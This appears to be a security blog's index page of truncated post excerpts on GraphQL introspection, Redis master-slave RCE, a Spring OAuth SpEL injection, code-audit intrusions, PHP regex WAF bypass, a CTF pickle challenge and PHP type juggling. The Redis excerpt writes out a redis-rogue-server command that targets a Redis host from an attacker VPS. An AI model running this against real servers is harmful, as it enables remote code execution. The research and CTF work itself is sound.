Security Research & Engineering Practice

0x00 Background First, an introduction: what is GraphQL? Just refer to this article See:https://zhuanlan.zhihu.com/p/124019191、 The client first interacts with GraphQL, which in turn interacts with arbitrary code, and finally ends the conversation with the database. The diagram describing this situation is: This architectural change brings many advantages, for example: All the data the client needs can be obtained in a single request (whereas a REST API requires multiple requests) A single Endpoint (URL) can handle multiple kinds of requests. Introspection Introspection allows us to get information about all the Requests, Mutations, Subscriptions, and Data Types and all other things that are made available to the clients making requestsThis information is easily available by requesting ___schema meta-field, which, according to the specification, is always available to the query of the “root” type. ...

# Redis <= 5.0.5 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443 redis-rogue-server_poison.zip 1. Introduction Setting Up the Environment Set up the environment with Docker docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server Normal Use of the Master-Slave Feature Redis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency. ...

0x01 Background Spring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this upgrade announcement, which mainly explains that when users use Whitelabel views to handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability’s discoverer publicly released the discovery write-up on October 13. SpEL expression injection! (1) Affected versions org.springframework.security.oauth - spring-security-oauth2: 2.0.0 to 2.0.9 1.0.0 to 1.0.5 I took a look at the maven repository and found that 2.0.X was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you. ...

Just read the PDF. 【翻译】OWASP_NodeJS安全.pdf

This post was first published as a contribution to the Alibaba Cloud Xianzhi community: Code Audit Notes on an Ops System (Django+MongoDB+Redis). Please credit the original source when reposting. I encountered this system during a certain engagement, where I got a shell through a weak password plus command injection in the backend. Later I found it quite interesting, so I spent a Saturday auditing it — and discovered that under certain conditions it allows direct RCE from the frontend… ...

This post was first published on the Alibaba Cloud Xianzhi community at A Practical Java Servlet Audit - Xianzhi Community; please cite the original source when reproducing it. Thanks for reading! 0x00 Background During a penetration test, I came across a JSP site. After getting into the admin panel with weak credentials, I found it had very few features and was not easy to exploit. A quick check yielded no breakthrough, yet the boss’s requirement was to get a shell as soon as possible… ...

Spark, this computing framework, supports multiple deployment modes: it can be deployed on a single computer or across multiple machines (a cluster). To compute data, we must have computers doing the computing for us — and of course, the more computers we have (the larger the cluster), the stronger our computing power. But sometimes we just want to run an experiment or a small computation locally, so deploying it on a single machine is also perfectly fine. ...

Introduction to Regular Expressions PHP regular expression special characters [:alnum:] [:alpha:] etc. For example, ‘<font style="color:rgb(0, 0, 0);">[[:alnum:]]</font>’ means ‘<font style="color:rgb(0, 0, 0);">[0-9A-Za-z]</font>’, Two very important special characters in regular expressions are "[ ]". They can match characters that appear inside "[]"; for example, "/[az]/" can match the single character "a" or "z"; if you change the above expression to "/[a-z]/", it can match any single lowercase letter, such as "a", "b", and so on. If a "^" appears inside "[]", it means the expression does NOT match the characters listed inside "[]"; for example, "/[^a-z]/" does not match any lowercase letter! In addition, regular expressions provide several default character classes for "[]", as follows: # '[:alnum:]' matches any letter Alphanumeric characters: '[:alpha:]' and '[:digit:]'. # '[:alpha:]' matches any letter or digit Alphabetic characters: '[:lower:]' and '[:upper:]'. # '[:blank:]' Blank characters: space and tab. # '[:cntrl:]' Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 ('DEL'). In other character sets, these are the equivalent characters, if any. # '[:digit:]' matches any digit Digits: '0 1 2 3 4 5 6 7 8 9'. # '[:graph:]' Graphical characters: '[:alnum:]' and '[:punct:]'. # '[:lower:]' matches any lowercase letter Lower-case letters: 'a b c d e f g h i j k l m n o p q r s t u v w x y z'. # '[:print:]' Printable characters: '[:alnum:]', '[:punct:]', and space. # '[:punct:]' matches any punctuation character Punctuation characters: '! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ' { | } ~'. # '[:space:]' matches whitespace characters Space characters: tab, newline, vertical tab, form feed, carriage return, and space. # '[:upper:]' matches any uppercase letter Upper-case letters: 'A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'. # '[:xdigit:]' matches any hexadecimal digit Hexadecimal digits: '0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f'. Background First, let’s look at a piece of regex that is very common in WAFs, ...

Address: https://code-breaking.com/intro/ 0x08 picklecode Hard First, we need to brush up on format string vulnerability knowledge; see https://blog.csdn.net/wenrennaoda/article/details/107224921 There is indeed a format string vulnerability. So the first step is to exploit this bug to leak Django’s SECRET_KEY, which can be found by setting up the environment locally with PHPCharm Python Web: flask session & format string vulnerability https://xz.aliyun.com/t/3569 Security issues caused by client-side sessions | LeaveSong https://www.leavesongs.com/PENETRATION/client-session-security.html Python format string vulnerability (Django as an example) ...

A technique commonly seen in PHP code audits: weak typing, known in English as type Juggling. The basic concept is as follows: Prior to PHP 8, when using == for comparison or in any situation involving weak type conversion, strings are first converted to numbers, and only then compared against the number. Comparison with == Therefore, when a string is loosely compared against a number (loose comparison), the result is often unexpected. For example, "1 and 1=1" == 1 evaluates to true in PHP. ...